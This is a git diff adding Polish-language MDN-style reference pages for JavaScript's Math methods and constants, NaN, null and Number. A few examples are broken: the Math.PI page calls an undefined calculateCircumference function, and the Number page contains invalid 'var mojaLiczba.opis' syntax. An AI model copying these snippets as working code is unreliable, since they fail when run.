Przykład: Zastosowanie Math.max()

+ +
Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/min/index.html b/files/pl/web/javascript/reference/global_objects/math/min/index.html new file mode 100644 index 0000000000..75a892461b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/min/index.html @@ -0,0 +1,44 @@ +--- +title: Math.min() +slug: Web/JavaScript/Referencje/Obiekty/Math/min +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/min +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca najmniejszą z podanych liczb.

+ +

Składnia

+ +
Math.min([value1[, value2[, ...]]])
+ +

Parametry

+ +
+
value1, value2, ...
+
liczby.
+
+ +

Opis

+ +

Ponieważ min jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.min(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.min()

+ +

Poniższa funkcja porównuje zmienne x and y i zwraca mniejszą z nich:

+ +
var x = 10, y = -20;
+var z = Math.min(x, y);
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/pi/index.html b/files/pl/web/javascript/reference/global_objects/math/pi/index.html new file mode 100644 index 0000000000..429a21db09 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/pi/index.html @@ -0,0 +1,40 @@ +--- +title: Math.PI +slug: Web/JavaScript/Referencje/Obiekty/Math/PI +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.

+ +

Math.PI=π3.14159\mathtt{\mi{Math.PI}} = \pi \approx 3.14159

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Ponieważ PI jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.PI, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.PI

+ +

Poniższa funkcja zwraca wartość pi:

+ +
function getPi() {
+   return Math.PI;
+}
+
+calculateCircumference(1);  // 6.283185307179586
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/pow/index.html b/files/pl/web/javascript/reference/global_objects/math/pow/index.html new file mode 100644 index 0000000000..89d0a1c21b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/pow/index.html @@ -0,0 +1,49 @@ +--- +title: Math.pow() +slug: Web/JavaScript/Referencje/Obiekty/Math/pow +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca liczbę podstawa podniesioną do potęgi o wykładniku wykładnik, tj. podstawawykładnik.

+ +

Składnia

+ +
Math.pow(podstawa, wykładnik)
+ +

Parametry

+ +
+
podstawa 
+
liczba podnoszona do potęgi.
+
+ +
+
wykładnik 
+
wykładnik potęgi, do której podnoszona jest liczba podstawa.
+
+ +

Opis

+ +

Ponieważ pow jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.pow(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.pow()

+ +
Math.pow(7, 2); // 49
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/random/index.html b/files/pl/web/javascript/reference/global_objects/math/random/index.html new file mode 100644 index 0000000000..af6fa11aa7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/random/index.html @@ -0,0 +1,67 @@ +--- +title: Math.random() +slug: Web/JavaScript/Referencje/Obiekty/Math/random +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/random +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca pseudolosową, zmiennoprzecinkową liczbę z przedziału [0, 1) ( jedynka nie należy do przedziału). Podstawą generatora liczb losowych (ang. seed ) jest aktualny czas, tak samo jak w języku Java. Ponieważ random jest statyczną metodą obiektu Math, zawsze odwołujemy się do niej poprzez Math.random(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +
+

Notatka: Math.random() nie zapewnia kryptograficznie bezpiecznych liczb losowych. Nie używaj ich do niczego związanego z bezpieczeństwem (np. generowanie haseł). Zamiast tego użyj Web Crypto API, a dokładniej: metodę {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.

+
+ +

Składnia

+ +
Math.random()
+ +

Parametry

+ +

Brak.

+ +

Wartość zwracana

+ +

Liczba pseudolosowa, zmiennoprzecinkowa zawarta w przedziale [0, 1) (od 0 (włącznie) do 1 (wykluczając 1)).

+ +

Przykłady

+ +

Zastosowanie Math.random()

+ +

Zwraca losową liczbę większą lub równą 0 i mniejszą od 1.

+ +
function getRandom() {
+  return Math.random();
+}
+ +

Uzyskanie losowej liczby między dwiema wartościami

+ +

Ten przykład zwraca losową liczbę znajdującą się pomiędzy określonymi wartościami. Zwrócona wartość jest większa lub równa min, i jest mniejsza niż max.

+ +
function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min;
+}
+
+ +

Uzyskanie losowej liczby między dwiema wartościami z przedziału [min, max] (max włącznie)

+ +
function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1)) + min;
+}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.Math.random")}}

diff --git a/files/pl/web/javascript/reference/global_objects/math/round/index.html b/files/pl/web/javascript/reference/global_objects/math/round/index.html new file mode 100644 index 0000000000..4f0729568b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/round/index.html @@ -0,0 +1,50 @@ +--- +title: Math.round() +slug: Web/JavaScript/Referencje/Obiekty/Math/round +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/round +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.

+ +

Składnia

+ +
Math.round(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Jeśli część ułamkowa liczby x wynosi 0.5 lub więcej, argument jest zaokrąglany do najbliższej większej liczby całkowitej. Jeśli część ułamkowa liczby x jest mniejsza niż 0.5, argument jest zaokrąglany do najbliższej mniejszej liczby całkowitej.

+ +

Ponieważ round jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.round(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.round()

+ +
// zwraca 20
+x = Math.round(20.49)
+
+// zwraca 21
+x = Math.round(20.5)
+
+// zwraca -20
+x = Math.round(-20.5)
+
+// zwraca -21
+x = Math.round(-20.51)
+
+ +

 

diff --git a/files/pl/web/javascript/reference/global_objects/math/sign/index.html b/files/pl/web/javascript/reference/global_objects/math/sign/index.html new file mode 100644 index 0000000000..d6c21d59a1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/sign/index.html @@ -0,0 +1,118 @@ +--- +title: Math.sign() +slug: Web/JavaScript/Referencje/Obiekty/Math/sign +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign +--- +
{{JSRef("Global_Objects", "Math")}}
+ +

Podsumowanie

+ +

Funkcja Math.sign() zwraca znak liczby. Wynik wskazuje czy liczba przekazana jako argument jest dodatnia, ujemna lub czy jest zerem.

+ +

Składnia

+ +
Math.sign(x)
+ +

Parametry

+ +
+
x
+
Liczba, której znak ma zostać określony.
+
+ +

Opis

+ +

Metoda sign powinna być zawsze używana jako Math.sign(), ponieważ jest metodą statyczną w obiekcie Math. (Nie jako metoda stworzonego obiektu  (Math nie jest konstruktorem)).

+ +

Funkcja ma pięć wartości wynikowych 1, -1, 0, -0, NaN, które reprezentują odpowiednio: "liczbę dodatnią", "liczbę ujemną", "zero "dodatnie"",  "zero "ujemne"" oraz NaN (parametr nie jest liczbą).

+ +

Argument funkcji jest domyślnie konwertowany do number.

+ +

Przykłady

+ +

Przykład: Użycie Math.sign

+ +
Math.sign(3)     //  1
+Math.sign(-3)    // -1
+Math.sign("-3")  // -1
+Math.sign(0)     //  0
+Math.sign(-0)    // -0
+Math.sign(NaN)   // NaN
+Math.sign("foo") // NaN
+Math.sign()      // NaN
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}{{Spec2('ES6')}}Initial definition.
+ +

Tabela zgodności przeglądarek

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop("25")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/sin/index.html b/files/pl/web/javascript/reference/global_objects/math/sin/index.html new file mode 100644 index 0000000000..56d31ef74c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/sin/index.html @@ -0,0 +1,51 @@ +--- +title: Math.sin() +slug: Web/JavaScript/Referencje/Obiekty/Math/sin +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca sinus danej liczby.

+ +

Składnia

+ +
Math.sin(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda sin zwraca wartość numeryczną większą lub równą -1 i mniejszą lub równą 1, stanowiącą sinus argumentu.

+ +

Ponieważ sin jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.sin(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.sin()

+ +
Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/sqrt/index.html b/files/pl/web/javascript/reference/global_objects/math/sqrt/index.html new file mode 100644 index 0000000000..76c5b33a3e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/sqrt/index.html @@ -0,0 +1,46 @@ +--- +title: Math.sqrt() +slug: Web/JavaScript/Referencje/Obiekty/Math/sqrt +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca pierwiastek kwadratowy danej liczby.

+ +

x0,Math.sqrt(x)=x=the uniquey0such thaty2=x\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x

+ +

Składnia

+ +
Math.sqrt(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Jeśli wartość x jest ujemna, funkcja sqrt zwraca {{jsxref("NaN")}}.

+ +

Ponieważ sqrt() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.sqrt(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.sqrt()

+ +
Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+ +

 

diff --git a/files/pl/web/javascript/reference/global_objects/math/sqrt1_2/index.html b/files/pl/web/javascript/reference/global_objects/math/sqrt1_2/index.html new file mode 100644 index 0000000000..224739b4ce --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/sqrt1_2/index.html @@ -0,0 +1,39 @@ +--- +title: Math.SQRT1 2 +slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 +--- +

{{jsref}}

+ +

Podsumowanie

+ +

Pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.

+ +

Math.SQRT1_2=12=120.707\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707

+ +

Opis

+ +

Ponieważ SQRT1_2 jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.SQRT1_2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.SQRT1_2

+ +

Poniższa funkcja zwraca pierwiastek kwadratowy z 1/2:

+ +
function getRoot1_2() {
+   return Math.SQRT1_2
+}
+
+getRoot1_2(); // 0.7071067811865476
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/sqrt2/index.html b/files/pl/web/javascript/reference/global_objects/math/sqrt2/index.html new file mode 100644 index 0000000000..6f247b5abe --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/sqrt2/index.html @@ -0,0 +1,41 @@ +--- +title: Math.SQRT2 +slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2 +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.

+ +

Math.SQRT2=21.414\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Ponieważ SQRT2 jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez {{jsxref("Math")}}.SQRT2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.SQRT2

+ +

Poniższa funkcja zwraca pierwiastek kwadratowy z liczby 2:

+ +
function getRoot2() {
+   return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/tan/index.html b/files/pl/web/javascript/reference/global_objects/math/tan/index.html new file mode 100644 index 0000000000..844ca8cf12 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/tan/index.html @@ -0,0 +1,53 @@ +--- +title: Math.tan() +slug: Web/JavaScript/Referencje/Obiekty/Math/tan +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca tangens danej liczby.

+ +

Składnia

+ +
Math.tan(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda tan zwraca wartość numeryczną reprezentującą tangens kąta.

+ +

Ponieważ tan() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.tan(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.tan()

+ +

Poniższa funkcja zwraca tangens zmiennej x:

+ +
function getTan(x) {
+   return Math.tan(x)
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/nan/index.html b/files/pl/web/javascript/reference/global_objects/nan/index.html new file mode 100644 index 0000000000..738e9a2a01 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/nan/index.html @@ -0,0 +1,45 @@ +--- +title: NaN +slug: Web/JavaScript/Referencje/Obiekty/NaN +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/NaN +--- +
+
+
{{jsSidebar("Obiekty")}}
+
+
+ +

Podsumowanie

+ +

Wartość reprezentująca + Not-A-Number + , tj. nie będąca liczbą.

+ +

Składnia

+ +
NaN
+ +

Opis

+ +

NaN jest własnością najwyższego rzędu i nie jest powiązana z żadnym obiektem.

+ +

Wartością początkową NaN jest NaN.

+ +

NaN nigdy nie jest równa innej liczbie, nie jest równa nawet samej sobie. Nie jest możliwe sprawdzenie, czy dana wartość jest NaN przez porównanie z {{jsxref("Number.NaN")}} – należy zamiast tego stosować funkcję {{jsxref("Obiekty.isNaN", "isNaN()")}}.

+ +

Wiele metod języka JavaScript (m. in. konstruktor Number, parseFloat i parseInt) zwracają NaN, jeśli wartość ich parametrów nie jest liczbą lub nie daje się na liczbę skonwertować.

+ +

NaN można zastosować do zasygnalizowania błędu w funkcji, która zazwyczaj zwraca poprawną liczbę.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/null/index.html b/files/pl/web/javascript/reference/global_objects/null/index.html new file mode 100644 index 0000000000..34e20e399c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/null/index.html @@ -0,0 +1,134 @@ +--- +title: 'null' +slug: Web/JavaScript/Referencje/Obiekty/null +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/null +--- +
{{jsSidebar("Objects")}}
+ +

Wartość null reprezentuje zamierzony brak wartości jakiegoś obiektu. Jest jedną z {{Glossary("Primitive", "podstawowych wartości")}} w JavaSript.

+ +

Składnia

+ +
null 
+ +

Opis

+ +

Wartość null, jak podpowiada nazwa, zapisujemy używając słowa "null". null nie jest zmienną globalną, w przeciwieństwie do {{jsxref("Global_Objects/undefined","undefined")}}. Zamiast tego null wyraża brak identyfikacji, mówiąc nam, że zmienna nie wskazuje na obiekt. W wielu API null jest często zwracany tam, gdzie może być obiekt, ale aktualnie jeszcze go tam nie ma.

+ +
// foo nie istnieje. Nie jest zdefiniowany oraz nigdy nie był zainicjalizowany:
+> foo
+"ReferenceError: foo is not defined"
+
+// Teraz wiadomo że null istnieje, ale nie ma on żadnego typu ani wartości:
+> var foo = null; foo;
+"null"
+
+ +

Różnice pomiędzy null i undefined

+ +

Podczas sprawdzania null lub undefined, uważaj na róźnice pomiędzy operatorami równości (==) oraz identyczności (===), ponieważ ten pierwszy wykonuje konwersję typu.

+ +
typeof null        // "object" (nie jest to "null" ze względu na starsze przyczyny)
+typeof undefined   // "undefined"
+null === undefined // false
+null  == undefined // true
+null === null // true
+null == null // true
+!null // true
+isNaN(1 + null) // false
+isNaN(1 + undefined) // true
+ +

 

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Definicja początkowa.
{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-null-value', 'null value')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-null-value', 'null value')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarką

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/epsilon/index.html b/files/pl/web/javascript/reference/global_objects/number/epsilon/index.html new file mode 100644 index 0000000000..289e33ad79 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/epsilon/index.html @@ -0,0 +1,76 @@ +--- +title: Number.EPSILON +slug: Web/JavaScript/Referencje/Obiekty/Number/EPSILON +tags: + - ECMAScript 2015 + - JavaScript + - Number + - Właściwość +translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON +--- +
{{JSRef}}
+ +

Właściwość Number.EPSILON reprezentuje różnicę pomiędzy 1 a najmniejszą liczbą zmiennoprzecinkową większą niż 1.

+ +

Jest to właściwość statyczna. Nie musisz tworzyć obiektu {{jsxref("Number")}}, żeby mieć do niej dostęp (użyj Number.EPSILON).

+ +
{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}
+ + + +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Wartość właściwości EPSILON to w przybliżeniu  2.2204460492503130808472633361816E-16 lub 2-52.

+ +

Przykłady

+ +

Testowanie równości

+ +
x = 0.2;
+y = 0.3;
+z = 0.1;
+equal = (Math.abs(x - y + z) < Number.EPSILON);
+
+ +

Polyfill

+ +
if (Number.EPSILON === undefined) {
+    Number.EPSILON = Math.pow(2, -52);
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność

+ + + +

{{Compat("javascript.builtins.Number.EPSILON")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/index.html b/files/pl/web/javascript/reference/global_objects/number/index.html new file mode 100644 index 0000000000..78fc243a0b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/index.html @@ -0,0 +1,111 @@ +--- +title: Number +slug: Web/JavaScript/Referencje/Obiekty/Number +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Number +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Pozwala pracować z wartościami liczbowymi. Obiekt Number jest opakowaniem (ang.wrapper ) dla prymitywnych wartości numerycznych.

+ +

Tworzone przez

+ +

Konstruktor Number:

+ +
new Number(value);
+ +

Parametry

+ +
+
value 
+
Wartość numeryczna tworzonego obiektu.
+
+ +

Opis

+ +

Obiekt Number jest głównie stosowany do:

+ + + + + +

Własności Number są własnościami jego klasy, nieindywidualnymi własnościami obiektu.

+ +

JavaScript 1.2: Number(x) teraz tworzy raczej NaN niż błąd jeśli x jest ciągiem znaków, który nie zawiera poprawnie sformatowanej liczby. Na przykład, poniższy kod drukuje NaN:

+ +
var x = Number("three");
+document.write(x + "<BR>");
+
+ +

Możesz przekonwertować, każdy obiekt na liczbę używając funkcji wysokiego poziomu Number.

+ +

Własności

+ +
+
{{jsxref("Number.constructor")}}
+
Oznacza funkcję, która tworzy prototyp obiektu.
+
{{jsxref("Number.MAX_VALUE")}}
+
Największa możliwa do przedstawienia liczba.
+
{{jsxref("Number.MIN_VALUE")}}
+
Najmniejsza możliwa do przedstawienia liczba.
+
{{jsxref("Number.NaN")}}
+
Specjalna wartość "nie jest liczbą" (Not-a-Number).
+
{{jsxref("Number.NEGATIVE_INFINITY")}}
+
Specjalna wartość reprezentująca negatywną nieskończoność; zwracana przy przepełnieniu.
+
{{jsxref("Number.POSITIVE_INFINITY")}}
+
Specjalna wartość reprezentująca nieskończoność; zwracana przy przepełnieniu.
+
{{jsxref("Number.prototype")}}
+
Pozwala na dodawanie (tworzenie) nowych własności obiektu Number.
+
+ +

Metody

+ +

{{jsxref("Number.isInteger()")}}

+ +

     Sprawdza czy liczba jest całkowita.

+ +
+
{{jsxref("Number.toExponential()")}}
+
Zwraca ciąg znaków, reprezentujący liczbę zapisaną w postaci wykładniczej.
+
{{jsxref("Number.toFixed()")}}
+
Zwraca ciąg znaków, reprezentujący liczbę stałoprzecinkową.
+
{{jsxref("Number.toLocaleString()")}}
+
Zwraca czytelny dla ludzi ciąg znaków reprezentujący liczbę zapisaną przy wykorzystaniu lokalnego formatu zapisu liczb. Przesłania metodę {{jsxref("Object.toLocaleString()")}}.
+
{{jsxref("Number.toPrecision()")}}
+
Zwraca ciąg znaków reprezentujący liczbę stałoprzecinkową o podanej precyzji.
+
{{jsxref("Number.toSource()")}}
+
Zwraca literał obiektu reprezentujący podany obiekt Number; możesz użyć tą wartość, przy tworzeniu nowego obiektu. Przesłania metodę {{jsxref("Object.toSource()")}}.
+
{{jsxref("Number.toString()")}}
+
Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.toString()")}}.
+
{{jsxref("Number.valueOf()")}}
+
Zwraca zmienną typu prostego reprezentującą wartość podanego obiektu. Przesłania metodę {{jsxref("Object.valueOf()")}}.
+
+ +

Przykłady

+ +

Przykład: Zastosowanie obiektu Number, przy przypisaniu wartości zmiennym liczbowym

+ +

Poniższy przykład używa własności obiektu Number, aby przypisać wartości do kilku wartości numerycznych:

+ +
var najwiekszaLiczba = Number.MAX_VALUE;
+var najmniejszaLiczba = Number.MIN_VALUE;
+var nieskonczonosc = Number.POSITIVE_INFINITY;
+var negatywnaNieskonczonosc = Number.NEGATIVE_INFINITY;
+var nieJestLiczba = Number.NaN;
+
+ +

Przykład: Zastosowanie obiektu Number do modyfikacji wszystkich obiektów Number

+ +

Poniższy przykład tworzy obiekt typu Number, <code>.mojaLiczba</code>, wtedy dodaje własność opis, wszystkim obiektom Number. Następnie wartość jest przypisana do własności opis obiektu mojaLiczba.

+ +
var mojaLiczba = new Number(65);
+Number.prototype.opis = null;
+var mojaLiczba.opis = "prędkość wiatru";
+
diff --git a/files/pl/web/javascript/reference/global_objects/number/isinteger/index.html b/files/pl/web/javascript/reference/global_objects/number/isinteger/index.html new file mode 100644 index 0000000000..aaf93ab5fb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/isinteger/index.html @@ -0,0 +1,88 @@ +--- +title: Number.isInteger() +slug: Web/JavaScript/Referencje/Obiekty/Number/isInteger +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger +--- +
{{JSRef}}
+ +

Metoda Number.isInteger() sprawdza czy wpisana wartość jest liczbą całkowitą.

+ +

Syntax

+ +
Number.isInteger(value)
+ +

Parametry

+ +
+
zmienna
+
Zmienna będzie testowana jako liczba.
+
+ +

Zwracana wartość

+ +

Metoda zwraca wartość typu {{jsxref("Boolean")}}.

+ +

Opis

+ +

Jeśli sprawdzana zmienna jest liczbą całkowitą metoda zwraca true, w innym przypadku zwraca false. Jeśli zmienna jest typu {{jsxref("NaN")}} lub spoza zakresu metoda zwraca false.

+ +

Przykłady

+ +
Number.isInteger(0);         // true
+Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(NaN);       // false
+Number.isInteger(Infinity);  // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10');      // false
+Number.isInteger(true);      // false
+Number.isInteger(false);     // false
+Number.isInteger([1]);       // false
+
+ +

Polyfill

+ +
Number.isInteger = Number.isInteger || function(value) {
+  return typeof value === 'number' &&
+    isFinite(value) &&
+    Math.floor(value) === value;
+};
+
+ +

Dokumentacja

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilne przegladarki

+ + + +

{{Compat("javascript.builtins.Number.isInteger")}}

+ +

Sprawdź również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/isnan/index.html b/files/pl/web/javascript/reference/global_objects/number/isnan/index.html new file mode 100644 index 0000000000..ddb723b409 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/isnan/index.html @@ -0,0 +1,108 @@ +--- +title: Number.isNaN() +slug: Web/JavaScript/Referencje/Obiekty/Number/isNaN +tags: + - ECMAScript 2015 + - JavaScript + - Metodă + - NaN + - Number + - isNaN +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN +--- +
{{JSRef}}
+ +

Metoda Number.isNaN() określa czy podany parametr ma wartość {{jsxref("NaN")}} i czy jest typu {{jsxref("Number")}}. Jest to ulepszona wersja oryginalnej, globalne funkcji {{jsxref("isNaN", "isNaN()")}}.

+ +
{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}
+ + + +

Składnia

+ +
Number.isNaN(value)
+ +

Parametry

+ +
+
value
+
Wartość, którą będziemy testować {{jsxref("NaN")}}.
+
+ +

Zwracana wartość

+ +

true, jeśli podana wartość jest {{jsxref("NaN")}}, a jej typem jest {{jsxref("Number")}}; w przeciwnym razie, false.

+ +

Opis

+ +

